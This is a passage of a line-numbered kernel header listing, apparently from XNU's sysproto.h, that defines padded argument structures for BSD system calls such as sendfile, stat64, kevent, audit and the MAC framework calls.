arg_r_[PADR_(uint64_t)]; 1317 | char buffer_l_[PADL_(user_addr_t)]; user_addr_t buffer; char buffer_r_[PADR_(user_addr_t)]; 1318 | char buffersize_l_[PADL_(int32_t)]; int32_t buffersize; char buffersize_r_[PADR_(int32_t)]; 1319 | }; 1320 | #if SENDFILE 1321 | struct sendfile_args { 1322 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1323 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 1324 | char offset_l_[PADL_(off_t)]; off_t offset; char offset_r_[PADR_(off_t)]; 1325 | char nbytes_l_[PADL_(user_addr_t)]; user_addr_t nbytes; char nbytes_r_[PADR_(user_addr_t)]; 1326 | char hdtr_l_[PADL_(user_addr_t)]; user_addr_t hdtr; char hdtr_r_[PADR_(user_addr_t)]; 1327 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1328 | }; 1329 | #else /* !SENDFILE */ 1330 | #endif /* SENDFILE */ 1331 | struct stat64_args { 1332 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1333 | char ub_l_[PADL_(user_addr_t)]; user_addr_t ub; char ub_r_[PADR_(user_addr_t)]; 1334 | }; 1335 | struct fstat64_args { 1336 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1337 | char ub_l_[PADL_(user_addr_t)]; user_addr_t ub; char ub_r_[PADR_(user_addr_t)]; 1338 | }; 1339 | struct lstat64_args { 1340 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1341 | char ub_l_[PADL_(user_addr_t)]; user_addr_t ub; char ub_r_[PADR_(user_addr_t)]; 1342 | }; 1343 | struct stat64_extended_args { 1344 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1345 | char ub_l_[PADL_(user_addr_t)]; user_addr_t ub; char ub_r_[PADR_(user_addr_t)]; 1346 | char xsecurity_l_[PADL_(user_addr_t)]; user_addr_t xsecurity; char xsecurity_r_[PADR_(user_addr_t)]; 1347 | char xsecurity_size_l_[PADL_(user_addr_t)]; user_addr_t xsecurity_size; char xsecurity_size_r_[PADR_(user_addr_t)]; 1348 | }; 1349 | struct lstat64_extended_args { 1350 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1351 | char ub_l_[PADL_(user_addr_t)]; user_addr_t ub; char ub_r_[PADR_(user_addr_t)]; 1352 | char xsecurity_l_[PADL_(user_addr_t)]; user_addr_t xsecurity; char xsecurity_r_[PADR_(user_addr_t)]; 1353 | char xsecurity_size_l_[PADL_(user_addr_t)]; user_addr_t xsecurity_size; char xsecurity_size_r_[PADR_(user_addr_t)]; 1354 | }; 1355 | struct fstat64_extended_args { 1356 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1357 | char ub_l_[PADL_(user_addr_t)]; user_addr_t ub; char ub_r_[PADR_(user_addr_t)]; 1358 | char xsecurity_l_[PADL_(user_addr_t)]; user_addr_t xsecurity; char xsecurity_r_[PADR_(user_addr_t)]; 1359 | char xsecurity_size_l_[PADL_(user_addr_t)]; user_addr_t xsecurity_size; char xsecurity_size_r_[PADR_(user_addr_t)]; 1360 | }; 1361 | struct getdirentries64_args { 1362 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1363 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 1364 | char bufsize_l_[PADL_(user_size_t)]; user_size_t bufsize; char bufsize_r_[PADR_(user_size_t)]; 1365 | char position_l_[PADL_(user_addr_t)]; user_addr_t position; char position_r_[PADR_(user_addr_t)]; 1366 | }; 1367 | struct statfs64_args { 1368 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1369 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 1370 | }; 1371 | struct fstatfs64_args { 1372 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1373 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 1374 | }; 1375 | struct getfsstat64_args { 1376 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 1377 | char bufsize_l_[PADL_(int)]; int bufsize; char bufsize_r_[PADR_(int)]; 1378 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1379 | }; 1380 | struct __pthread_chdir_args { 1381 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1382 | }; 1383 | struct __pthread_fchdir_args { 1384 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1385 | }; 1386 | struct audit_args { 1387 | char record_l_[PADL_(user_addr_t)]; user_addr_t record; char record_r_[PADR_(user_addr_t)]; 1388 | char length_l_[PADL_(int)]; int length; char length_r_[PADR_(int)]; 1389 | }; 1390 | struct auditon_args { 1391 | char cmd_l_[PADL_(int)]; int cmd; char cmd_r_[PADR_(int)]; 1392 | char data_l_[PADL_(user_addr_t)]; user_addr_t data; char data_r_[PADR_(user_addr_t)]; 1393 | char length_l_[PADL_(int)]; int length; char length_r_[PADR_(int)]; 1394 | }; 1395 | struct getauid_args { 1396 | char auid_l_[PADL_(user_addr_t)]; user_addr_t auid; char auid_r_[PADR_(user_addr_t)]; 1397 | }; 1398 | struct setauid_args { 1399 | char auid_l_[PADL_(user_addr_t)]; user_addr_t auid; char auid_r_[PADR_(user_addr_t)]; 1400 | }; 1401 | struct getaudit_addr_args { 1402 | char auditinfo_addr_l_[PADL_(user_addr_t)]; user_addr_t auditinfo_addr; char auditinfo_addr_r_[PADR_(user_addr_t)]; 1403 | char length_l_[PADL_(int)]; int length; char length_r_[PADR_(int)]; 1404 | }; 1405 | struct setaudit_addr_args { 1406 | char auditinfo_addr_l_[PADL_(user_addr_t)]; user_addr_t auditinfo_addr; char auditinfo_addr_r_[PADR_(user_addr_t)]; 1407 | char length_l_[PADL_(int)]; int length; char length_r_[PADR_(int)]; 1408 | }; 1409 | struct auditctl_args { 1410 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1411 | }; 1412 | #if CONFIG_WORKQUEUE 1413 | struct bsdthread_create_args { 1414 | char func_l_[PADL_(user_addr_t)]; user_addr_t func; char func_r_[PADR_(user_addr_t)]; 1415 | char func_arg_l_[PADL_(user_addr_t)]; user_addr_t func_arg; char func_arg_r_[PADR_(user_addr_t)]; 1416 | char stack_l_[PADL_(user_addr_t)]; user_addr_t stack; char stack_r_[PADR_(user_addr_t)]; 1417 | char pthread_l_[PADL_(user_addr_t)]; user_addr_t pthread; char pthread_r_[PADR_(user_addr_t)]; 1418 | char flags_l_[PADL_(uint32_t)]; uint32_t flags; char flags_r_[PADR_(uint32_t)]; 1419 | }; 1420 | struct bsdthread_terminate_args { 1421 | char stackaddr_l_[PADL_(user_addr_t)]; user_addr_t stackaddr; char stackaddr_r_[PADR_(user_addr_t)]; 1422 | char freesize_l_[PADL_(user_size_t)]; user_size_t freesize; char freesize_r_[PADR_(user_size_t)]; 1423 | char port_l_[PADL_(uint32_t)]; uint32_t port; char port_r_[PADR_(uint32_t)]; 1424 | char sem_l_[PADL_(uint32_t)]; uint32_t sem; char sem_r_[PADR_(uint32_t)]; 1425 | }; 1426 | #else 1427 | #endif /* CONFIG_WORKQUEUE */ 1428 | struct kqueue_args { 1429 | int32_t dummy; 1430 | }; 1431 | struct kevent_args { 1432 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1433 | char changelist_l_[PADL_(user_addr_t)]; user_addr_t changelist; char changelist_r_[PADR_(user_addr_t)]; 1434 | char nchanges_l_[PADL_(int)]; int nchanges; char nchanges_r_[PADR_(int)]; 1435 | char eventlist_l_[PADL_(user_addr_t)]; user_addr_t eventlist; char eventlist_r_[PADR_(user_addr_t)]; 1436 | char nevents_l_[PADL_(int)]; int nevents; char nevents_r_[PADR_(int)]; 1437 | char timeout_l_[PADL_(user_addr_t)]; user_addr_t timeout; char timeout_r_[PADR_(user_addr_t)]; 1438 | }; 1439 | struct lchown_args { 1440 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1441 | char owner_l_[PADL_(uid_t)]; uid_t owner; char owner_r_[PADR_(uid_t)]; 1442 | char group_l_[PADL_(gid_t)]; gid_t group; char group_r_[PADR_(gid_t)]; 1443 | }; 1444 | struct stack_snapshot_args { 1445 | char pid_l_[PADL_(pid_t)]; pid_t pid; char pid_r_[PADR_(pid_t)]; 1446 | char tracebuf_l_[PADL_(user_addr_t)]; user_addr_t tracebuf; char tracebuf_r_[PADR_(user_addr_t)]; 1447 | char tracebuf_size_l_[PADL_(uint32_t)]; uint32_t tracebuf_size; char tracebuf_size_r_[PADR_(uint32_t)]; 1448 | char flags_l_[PADL_(uint32_t)]; uint32_t flags; char flags_r_[PADR_(uint32_t)]; 1449 | char dispatch_offset_l_[PADL_(uint32_t)]; uint32_t dispatch_offset; char dispatch_offset_r_[PADR_(uint32_t)]; 1450 | }; 1451 | #if CONFIG_WORKQUEUE 1452 | struct bsdthread_register_args { 1453 | char threadstart_l_[PADL_(user_addr_t)]; user_addr_t threadstart; char threadstart_r_[PADR_(user_addr_t)]; 1454 | char wqthread_l_[PADL_(user_addr_t)]; user_addr_t wqthread; char wqthread_r_[PADR_(user_addr_t)]; 1455 | char flags_l_[PADL_(uint32_t)]; uint32_t flags; char flags_r_[PADR_(uint32_t)]; 1456 | char stack_addr_hint_l_[PADL_(user_addr_t)]; user_addr_t stack_addr_hint; char stack_addr_hint_r_[PADR_(user_addr_t)]; 1457 | char targetconc_ptr_l_[PADL_(user_addr_t)]; user_addr_t targetconc_ptr; char targetconc_ptr_r_[PADR_(user_addr_t)]; 1458 | char dispatchqueue_offset_l_[PADL_(uint32_t)]; uint32_t dispatchqueue_offset; char dispatchqueue_offset_r_[PADR_(uint32_t)]; 1459 | char tsd_offset_l_[PADL_(uint32_t)]; uint32_t tsd_offset; char tsd_offset_r_[PADR_(uint32_t)]; 1460 | }; 1461 | struct workq_open_args { 1462 | int32_t dummy; 1463 | }; 1464 | struct workq_kernreturn_args { 1465 | char options_l_[PADL_(int)]; int options; char options_r_[PADR_(int)]; 1466 | char item_l_[PADL_(user_addr_t)]; user_addr_t item; char item_r_[PADR_(user_addr_t)]; 1467 | char affinity_l_[PADL_(int)]; int affinity; char affinity_r_[PADR_(int)]; 1468 | char prio_l_[PADL_(int)]; int prio; char prio_r_[PADR_(int)]; 1469 | }; 1470 | #else 1471 | #endif /* CONFIG_WORKQUEUE */ 1472 | struct kevent64_args { 1473 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1474 | char changelist_l_[PADL_(user_addr_t)]; user_addr_t changelist; char changelist_r_[PADR_(user_addr_t)]; 1475 | char nchanges_l_[PADL_(int)]; int nchanges; char nchanges_r_[PADR_(int)]; 1476 | char eventlist_l_[PADL_(user_addr_t)]; user_addr_t eventlist; char eventlist_r_[PADR_(user_addr_t)]; 1477 | char nevents_l_[PADL_(int)]; int nevents; char nevents_r_[PADR_(int)]; 1478 | char flags_l_[PADL_(unsigned int)]; unsigned int flags; char flags_r_[PADR_(unsigned int)]; 1479 | char timeout_l_[PADL_(user_addr_t)]; user_addr_t timeout; char timeout_r_[PADR_(user_addr_t)]; 1480 | }; 1481 | #if OLD_SEMWAIT_SIGNAL 1482 | struct __old_semwait_signal_args { 1483 | char cond_sem_l_[PADL_(int)]; int cond_sem; char cond_sem_r_[PADR_(int)]; 1484 | char mutex_sem_l_[PADL_(int)]; int mutex_sem; char mutex_sem_r_[PADR_(int)]; 1485 | char timeout_l_[PADL_(int)]; int timeout; char timeout_r_[PADR_(int)]; 1486 | char relative_l_[PADL_(int)]; int relative; char relative_r_[PADR_(int)]; 1487 | char ts_l_[PADL_(user_addr_t)]; user_addr_t ts; char ts_r_[PADR_(user_addr_t)]; 1488 | }; 1489 | struct __old_semwait_signal_nocancel_args { 1490 | char cond_sem_l_[PADL_(int)]; int cond_sem; char cond_sem_r_[PADR_(int)]; 1491 | char mutex_sem_l_[PADL_(int)]; int mutex_sem; char mutex_sem_r_[PADR_(int)]; 1492 | char timeout_l_[PADL_(int)]; int timeout; char timeout_r_[PADR_(int)]; 1493 | char relative_l_[PADL_(int)]; int relative; char relative_r_[PADR_(int)]; 1494 | char ts_l_[PADL_(user_addr_t)]; user_addr_t ts; char ts_r_[PADR_(user_addr_t)]; 1495 | }; 1496 | #else 1497 | #endif 1498 | struct thread_selfid_args { 1499 | int32_t dummy; 1500 | }; 1501 | struct ledger_args { 1502 | char cmd_l_[PADL_(int)]; int cmd; char cmd_r_[PADR_(int)]; 1503 | char arg1_l_[PADL_(user_addr_t)]; user_addr_t arg1; char arg1_r_[PADR_(user_addr_t)]; 1504 | char arg2_l_[PADL_(user_addr_t)]; user_addr_t arg2; char arg2_r_[PADR_(user_addr_t)]; 1505 | char arg3_l_[PADL_(user_addr_t)]; user_addr_t arg3; char arg3_r_[PADR_(user_addr_t)]; 1506 | }; 1507 | struct __mac_execve_args { 1508 | char fname_l_[PADL_(user_addr_t)]; user_addr_t fname; char fname_r_[PADR_(user_addr_t)]; 1509 | char argp_l_[PADL_(user_addr_t)]; user_addr_t argp; char argp_r_[PADR_(user_addr_t)]; 1510 | char envp_l_[PADL_(user_addr_t)]; user_addr_t envp; char envp_r_[PADR_(user_addr_t)]; 1511 | char mac_p_l_[PADL_(user_addr_t)]; user_addr_t mac_p; char mac_p_r_[PADR_(user_addr_t)]; 1512 | }; 1513 | #if CONFIG_MACF 1514 | struct __mac_syscall_args { 1515 | char policy_l_[PADL_(user_addr_t)]; user_addr_t policy; char policy_r_[PADR_(user_addr_t)]; 1516 | char call_l_[PADL_(int)]; int call; char call_r_[PADR_(int)]; 1517 | char arg_l_[PADL_(user_addr_t)]; user_addr_t arg; char arg_r_[PADR_(user_addr_t)]; 1518 | }; 1519 | struct __mac_get_file_args { 1520 | char path_p_l_[PADL_(user_addr_t)]; user_addr_t path_p; char path_p_r_[PADR_(user_addr_t)]; 1521 | char mac_p_l_[PADL_(user_addr_t)]; user_addr_t mac_p; char mac_p_r_[PADR_(user_addr_t)]; 1522 | }; 1523 | struct __mac_set_file_args { 1524 | char path_p_l_[PADL_(user_addr_t)]; user_addr_t path_p; char path_p_r_[PADR_(user_addr_t)]; 1525 | char mac_p_l_[PADL_(user_addr_t)]; user_addr_t mac_p; char mac_p_r_[PADR_(user_addr_t)]; 1526 | }; 1527 | struct __mac_get_link_args { 1528 | char path_p_l_[PADL_(user_addr_t)]; user_addr_t path_p; char path_p_r_[PADR_(user_addr_t)]; 1529 | char mac_p_l_[PADL_(user_addr_t)]; user_addr_t mac_p; char mac_p_r_[PADR_(user_addr_t)]; 1530 | }; 1531 | struct __mac_set_link_args { 1532 | char path_p_l_[PADL_(user_addr_t)]; user_addr_t path_p; char path_p_r_[PADR_(user_addr_t)]; 1533 | char mac_p_l_[PADL_(user_addr_t)]; user_addr_t mac_p; char mac_p_r_[PADR_(user_addr_t)]; 1534 | }; 1535 | struct __mac_get_proc_args { 1536 | char mac_p_l_[PADL_(user_addr_t)]; user_addr_t mac_p; char mac_p_r_[PADR_(user_addr_t)]; 1537 | }; 1538 | struct __mac_set_proc_args { 1539 | char mac_p_l_[PADL_(user_addr_t)]; user_addr_t mac_p; char mac_p_r_[PADR_(user_addr_t)]; 1540 | }; 1541 | struct __mac_get_fd_args { 1542 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1543 | char mac_p_l_[PADL_(user_addr_t)]; user_addr_t mac_p; char mac_p_r_[PADR_(user_addr_t)]; 1544 | }; 1545 | struct __mac_set_fd_args { 1546 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1547 | char mac_p_l_[PADL_(user_addr_t)]; user_addr_t mac_p; char mac_p_r_[PADR_(user_addr_t)]; 1548 | }; 1549 | struct __mac_get_pid_args { 1550 | char pid_l_[PADL_(pid_t)]; pid_t pid; char pid_r_[PADR_(pid_t)]; 1551 | char mac_p_l_[PADL_(user_addr_t)]; user_addr_t mac_p; char mac_p_r_[PADR_(user_addr_t)]; 1552 | }; 1553 | struct __mac_get_lcid_args { 1554 | char lcid_l_[PADL_(pid_t)]; pid_t lcid; char lcid_r_[PADR_(pid_t)]; 1555 | char mac_p_l_[PADL_(user_addr_t)]; user_addr_t mac_p; char mac_p_r_[PADR_(user_addr_t)]; 1556 | }; 1557 | struct __mac_get_lctx_args { 1558 | char mac_p_l_[PADL_(user_addr_t)]; user_addr_t mac_p; char mac_p_r_[PADR_(user_addr_t)]; 1559 | }; 1560 | struct __mac_set_lctx_args { 1561 | char mac_p_l_[PADL_(user_addr_t)]; user_addr_t mac_p; char mac_p_r_[PADR_(user_addr_t)]; 1562 | }; 1563 | #else 1564 | #endif 1565 | struct setlcid_args { 1566 | char pid_l_[PADL_(pid_t)]; pid_t pid; char pid_r_[PADR_(pid_t)]; 1567 | char lcid_l_[PADL_(pid_t)]; pid_t lcid; char lcid_r_[PADR_(pid_t)]; 1568 | }; 1569 | struct getlcid_args { 1570 | char pid_l_[PADL_(pid_t)]; pid_t pid; char pid_r_[PADR_(pid_t)]; 1571 | }; 1572 | struct read_nocancel_args { 1573 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1574 | char cbuf_l_[PADL_(user_addr_t)]; user_addr_t cbuf; char cbuf_r_[PADR_(user_addr_t)]; 1575 | char nbyte_l_[PADL_(user_size_t)]; user_size_t nbyte; char nbyte_r_[PADR_(user_size_t)]; 1576 | }; 1577 | struct write_nocancel_args { 1578 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1579 | char cbuf_l_[PADL_(user_addr_t)]; user_addr_t cbuf; char cbuf_r_[PADR_(user_addr_t)]; 1580 | char nbyte_l_[PADL_(user_size_t)]; user_size_t nbyte; char nbyte_r_[PADR_(user_size_t)]; 1581 | }; 1582 | struct open_nocancel_args { 1583 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1584 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1585 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 1586 | }; 1587 | struct close_nocancel_args { 1588 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1589 | }; 1590 | struct wait4_nocancel_args { 1591 | char pid_l_[PADL_(int)]; int pid; char pid_r_[PADR_(int)]; 1592 | char status_l_[PADL_(user_addr_t)]; user_addr_t status; char status_r_[PADR_(user_addr_t)]; 1593 | char options_l_[PADL_(int)]; int options; char options_r_[PADR_(int)]; 1594 | char rusage_l_[PADL_(user_addr_t)]; user_addr_t rusage; char rusage_r_[PADR_(user_addr_t)]; 1595 | }; 1596 | #if SOCKETS 1597 | struct recvmsg_nocancel_args { 1598 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 1599 | char msg_l_[PADL_(user_addr_t)]; user_addr_t msg; char msg_r_[PADR_(user_addr_t)]; 1600 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1601 | }; 1602 | struct sendmsg_nocancel_args { 1603 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 1604 | char msg_l_[PADL_(user_addr_t)]; user_addr_t msg; char msg_r_[PADR_(user_addr_t)]; 1605 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1606 | }; 1607 | struct recvfrom_nocancel_args { 1608 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 1609 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 1610 | char len_l_[PADL_(user_size_t)]; user_size_t len; char len_r_[PADR_(user_size_t)]; 1611 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1612 | char from_l_[PADL_(user_addr_t)]; user_addr_t from; char from_r_[PADR_(user_addr_t)]; 1613 | char fromlenaddr_l_[PADL_(user_addr_t)]; user_addr_t fromlenaddr; char fromlenaddr_r_[PADR_(user_addr_t)]; 1614 | }; 1615 | struct accept_nocancel_args { 1616 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 1617 | char name_l_[PADL_(user_addr_t)]; user_addr_t name; char name_r_[PADR_(user_addr_t)]; 1618 | char anamelen_l_[PADL_(user_addr_t)]; user_addr_t anamelen; char anamelen_r_[PADR_(user_addr_t)]; 1619 | }; 1620 | #else 1621 | #endif /* SOCKETS */ 1622 | struct msync_nocancel_args { 1623 | char addr_l_[PADL_(user_addr_t)]; user_addr_t addr; char addr_r_[PADR_(user_addr_t)]; 1624 | char len_l_[PADL_(user_size_t)]; user_size_t len; char len_r_[PADR_(user_size_t)]; 1625 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1626 | }; 1627 | struct fcntl_nocancel_args { 1628 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1629 | char cmd_l_[PADL_(int)]; int cmd; char cmd_r_[PADR_(int)]; 1630 | char arg_l_[PADL_(user_long_t)]; user_long_t arg; char arg_r_[PADR_(user_long_t)]; 1631 | }; 1632 | struct select_nocancel_args { 1633 | char nd_l_[PADL_(int)]; int nd; char nd_r_[PADR_(int)]; 1634 | char in_l_[PADL_(user_addr_t)]; user_addr_t in; char in_r_[PADR_(user_addr_t)]; 1635 | char ou_l_[PADL_(user_addr_t)]; user_addr_t ou; char ou_r_[PADR_(user_addr_t)]; 1636 | char ex_l_[PADL_(user_addr_t)]; user_addr_t ex; char ex_r_[PADR_(user_addr_t)]; 1637 | char tv_l_[PADL_(user_addr_t)]; user_addr_t tv; char tv_r_[PADR_(user_addr_t)]; 1638 | }; 1639 | struct fsync_nocancel_args { 1640 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1641 | }; 1642 | #if SOCKETS 1643 | struct connect_nocancel_args { 1644 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 1645 | char name_l_[PADL_(user_addr_t)]; user_addr_t name; char name_r_[PADR_(user_addr_t)]; 1646 | char namelen_l_[PADL_(socklen_t)]; socklen_t namelen; char namelen_r_[PADR_(socklen_t)]; 1647 | }; 1648 | #else 1649 | #endif /* SOCKETS */ 1650 | struct sigsuspend_nocancel_args { 1651 | char mask_l_[PADL_(sigset_t)]; sigset_t mask; char mask_r_[PADR_(sigset_t)]; 1652 | }; 1653 | struct readv_nocancel_args { 1654 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1655 | char iovp_l_[PADL_(user_addr_t)]; user_addr_t iovp; char iovp_r_[PADR_(user_addr_t)]; 1656 | char iovcnt_l_[PADL_(u_int)]; u_int iovcnt; char iovcnt_r_[PADR_(u_int)]; 1657 | }; 1658 | struct writev_nocancel_args { 1659 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1660 | char iovp_l_[PADL_(user_addr_t)]; user_addr_t iovp; char iovp_r_[PADR_(user_addr_t)]; 1661 | char iovcnt_l_[PADL_(u_int)]; u_int iovcnt; char iovcnt_r_[PADR_(u_int)]; 1662 | }; 1663 | #if SOCKETS 1664 | struct sendto_nocancel_args { 1665 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 1666 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 1667 | char len_l_[PADL_(user_size_t)]; user_size_t len; char len_r_[PADR_(user_size_t)]; 1668 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1669 | char to_l_[PADL_(user_addr_t)]; user_addr_t to; char to_r_[PADR_(user_addr_t)]; 1670 | char tolen_l_[PADL_(socklen_t)]; socklen_t tolen; char tolen_r_[PADR_(socklen_t)]; 1671 | }; 1672 | #else 1673 | #endif /* SOCKETS */ 1674 | struct pread_nocancel_args { 1675 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1676 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 1677 | char nbyte_l_[PADL_(user_size_t)]; user_size_t nbyte; char nbyte_r_[PADR_(user_size_t)]; 1678 | char offset_l_[PADL_(off_t)]; off_t offset; char offset_r_[PADR_(off_t)]; 1679 | }; 1680 | struct pwrite_nocancel_args { 1681 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1682 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 1683 | char nbyte_l_[PADL_(user_size_t)]; user_size_t nbyte; char nbyte_r_[PADR_(user_size_t)]; 1684 | char offset_l_[PADL_(off_t)]; off_t offset; char offset_r_[PADR_(off_t)]; 1685 | }; 1686 | struct waitid_nocancel_args { 1687 | char idtype_l_[PADL_(idtype_t)]; idtype_t idtype; char idtype_r_[PADR_(idtype_t)]; 1688 | char id_l_[PADL_(id_t)]; id_t id; char id_r_[PADR_(id_t)]; 1689 | char infop_l_[PADL_(user_addr_t)]; user_addr_t infop; char infop_r_[PADR_(user_addr_t)]; 1690 | char options_l_[PADL_(int)]; int options; char options_r_[PADR_(int)]; 1691 | }; 1692 | struct poll_nocancel_args { 1693 | char fds_l_[PADL_(user_addr_t)]; user_addr_t fds; char fds_r_[PADR_(user_addr_t)]; 1694 | char nfds_l_[PADL_(u_int)]; u_int nfds; char nfds_r_[PADR_(u_int)]; 1695 | char timeout_l_[PADL_(int)]; int timeout; char timeout_r_[PADR_(int)]; 1696 | }; 1697 | #if SYSV_MSG 1698 | struct msgsnd_nocancel_args { 1699 | char msqid_l_[PADL_(int)]; int msqid; char msqid_r_[PADR_(int)]; 1700 | char msgp_l_[PADL_(user_addr_t)]; user_addr_t msgp; char msgp_r_[PADR_(user_addr_t)]; 1701 | char msgsz_l_[PADL_(user_size_t)]; user_size_t msgsz; char msgsz_r_[PADR_(user_size_t)]; 1702 | char msgflg_l_[PADL_(int)]; int msgflg; char msgflg_r_[PADR_(int)]; 1703 | }; 1704 | struct msgrcv_nocancel_args { 1705 | char msqid_l_[PADL_(int)]; int msqid; char msqid_r_[PADR_(int)]; 1706 | char msgp_l_[PADL_(user_addr_t)]; user_addr_t msgp; char msgp_r_[PADR_(user_addr_t)]; 1707 | char msgsz_l_[PADL_(user_size_t)]; user_size_t msgsz; char msgsz_r_[PADR_(user_size_t)]; 1708 | char msgtyp_l_[PADL_(user_long_t)]; user_long_t msgtyp; char msgtyp_r_[PADR_(user_long_t)]; 1709 | char msgflg_l_[PADL_(int)]; int msgflg; char msgflg_r_[PADR_(int)]; 1710 | }; 1711 | #else 1712 | #endif 1713 | struct sem_wait_nocancel_args { 1714 | char sem_l_[PADL_(user_addr_t)]; user_addr_t sem; char sem_r_[PADR_(user_addr_t)]; 1715 | }; 1716 | struct aio_suspend_nocancel_args { 1717 | char aiocblist_l_[PADL_(user_addr_t)]; user_addr_t aiocblist; char aiocblist_r_[PADR_(user_addr_t)]; 1718 | char nent_l_[PADL_(int)]; int nent; char nent_r_[PADR_(int)]; 1719 | char timeoutp_l_[PADL_(user_addr_t)]; user_addr_t timeoutp; char timeoutp_r_[PADR_(user_addr_t)]; 1720 | }; 1721 | struct __sigwait_nocancel_args { 1722 | char set_l_[PADL_(user_addr_t)]; user_addr_t set; char set_r_[PADR_(user_addr_t)]; 1723 | char sig_l_[PADL_(user_addr_t)]; user_addr_t sig; char sig_r_[PADR_(user_addr_t)]; 1724 | }; 1725 | struct __semwait_signal_nocancel_args { 1726 | char cond_sem_l_[PADL_(int)]; int cond_sem; char cond_sem_r_[PADR_(int)]; 1727 | char mutex_sem_l_[PADL_(int)]; int mutex_sem; char mutex_sem_r_[PADR_(int)]; 1728 | char timeout_l_[PADL_(int)]; int timeout; char timeout_r_[PADR_(int)]; 1729 | char relative_l_[PADL_(int)]; int relative; char relative_r_[PADR_(int)]; 1730 | char tv_sec_l_[PADL_(int64_t)]; int64_t tv_sec; char tv_sec_r_[PADR_(int64_t)]; 1731 | char tv_nsec_l_[PADL_(int32_t)]; int32_t tv_nsec; char tv_nsec_r_[PADR_(int32_t)]; 1732 | }; 1733 | struct __mac_mount_args { 1734 | char type_l_[PADL_(user_addr_t)]; user_addr_t type; char type_r_[PADR_(user_addr_t)]; 1735 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1736 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1737 | char data_l_[PADL_(user_addr_t)]; user_addr_t data; char data_r_[PADR_(user_addr_t)]; 1738 | char mac_p_l_[PADL_(user_addr_t)]; user_addr_t mac_p; char mac_p_r_[PADR_(user_addr_t)]; 1739 | }; 1740 | #if CONFIG_MACF 1741 | struct __mac_get_mount_args { 1742 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1743 | char mac_p_l_[PADL_(user_addr_t)]; user_addr_t mac_p; char mac_p_r_[PADR_(user_addr_t)]; 1744 | }; 1745 | #else 1746 | #endif 1747 | struct __mac_getfsstat_args { 1748 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 1749 | char bufsize_l_[PADL_(int)]; int bufsize; char bufsize_r_[PADR_(int)]; 1750 | char mac_l_[PADL_(user_addr_t)]; 